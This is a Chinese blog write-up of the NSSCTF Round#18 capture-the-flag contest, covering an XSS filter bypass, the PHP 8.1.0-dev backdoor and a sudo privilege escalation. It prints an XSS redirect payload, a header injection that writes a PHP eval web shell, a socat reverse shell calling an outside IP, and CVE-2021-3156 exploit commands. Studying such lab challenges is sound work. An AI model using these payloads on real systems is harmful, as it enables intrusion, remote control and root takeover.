目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. 门酱想玩什么呢? (复现)
    2. 2.2. Becomeroot (复现)
    3. 2.3. easy_rw (Unsolved)
  3. 3. Misc
    1. 3.1. 温馨的酒吧

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NSSCTF Round#18

2024/2/14 CTF线上赛 CVE 提权 XSS NSS
  |     |   总文章阅读量:

前言

美好的情人节从web爆零结束

官方wp:https://mp.weixin.qq.com/s/jGRkBxgM9jdzLAeM-qiHKA

Web

门酱想玩什么呢? (复现)

xss

启动的页面有hint:nssctfroundSpring.php

<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
    if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
        $urlParts = parse_url($matches[0]);
        if ($urlParts !== false) {
            echo '<img class="content" src="' . $matches[0] . '">';
            //.......
        }
        //......
    }
    //......
}

抓包注意到这里的csp策略仅限同源与内联:Content-Security-Policy: script-src 'self' 'unsafe-inline';

尝试xss

http://"><script>window.alert(1)</script>.png /png

成功

image-20240214101722446

注意这里评论的内容会被base64和url编码

但是这个xss怎么用我想不出来

首先一个很难蚌的点是这里说只要自己网站的链接不是127.0.0.1,而是靶机的地址。。。

第二个难蚌的点是提示说直接给门酱想玩的游戏链接就行,没想到就是评论区那个元梦之星。。。

于是xss重定向到元梦之星的官网,让门酱访问自己的评论区即可

http://"><script>location.href="https://ymzx.qq.com/"</script>.png /png

那么payload:

http://node4.anna.nssctf.cn:28670/words/?title=MQ%253D%253D&content=aHR0cDovLyUyMiUzRSUzQ3NjcmlwdCUzRWxvY2F0aW9uLmhyZWY9JTIyaHR0cHM6Ly95bXp4LnFxLmNvbS8lMjIlM0Mvc2NyaXB0JTNFLnBuZyUyMC9wbmc=

image-20240219115849005


Becomeroot (复现)

sudo提权 CVE-2021-3156

php8.1.0-dev,这个版本存在zerodium后门:https://blog.csdn.net/qq_44159028/article/details/116992989

phpinfo里面搜hint也可以知道

先写个马,这里不要直接弹shell

user-agentt: zerodiumsystem('echo "<?php eval(\$_POST[1]);?>"> /var/www/html/1.php');

image-20240219120926568

然后蚁剑连上去,接下来是提权(因为接下来的提权操作需要完整的shell才能使用,所以前面不能直接弹shell)

这里需要socat

下载socat:http://www.dest-unreach.org/socat/download/

安装参考:https://www.cnblogs.com/bonne-chance/p/16553556.html

用蚁剑上传上去并给权限

由于缺库文件我这里直接在靶机里面解压安装,然后再上传一个本地编译好的socat(

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:115.236.153.170:14723

image-20240219125650595

socat file:`tty`,raw,echo=0 tcp-listen:666

image-20240219130438099

接下来就是CVE-2021-3156 sudo本地提权,版本:sudo 1.8.2-1.8.31p2/sudo 1.9.0-1.9.5p1

参考:https://www.geekby.site/2021/01/cve-2021-3156%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

https://github.com/CptGibbon/CVE-2021-3156

sudoedit -s /

image-20240219135418010

返回sudoedit开头,此时说明漏洞存在

poc上传上去(socat弹回shell后php会变得不可访问,需要先断开shell然后用蚁剑上传后再弹一次。原因应该是题目没有用apache2这种中间件而是直接php启动服务)

这里应该是公共靶机的原因没删掉别人上传的exp,我这里直接拿来用(

cd CVE-2021-3156-main/
make
./exploit

image-20240219135815116


easy_rw (Unsolved)

提示:弱口令 & CVE-2023-49299 Bypass

guest账户密码:guest123


Misc

温馨的酒吧

情人节限定galgame——温馨的酒吧谢队线(?

https://www.bilibili.com/video/BV1nH4y1E7Hg/

flag:NSSCTF{新年快乐_不要停下来啊_CTFer!}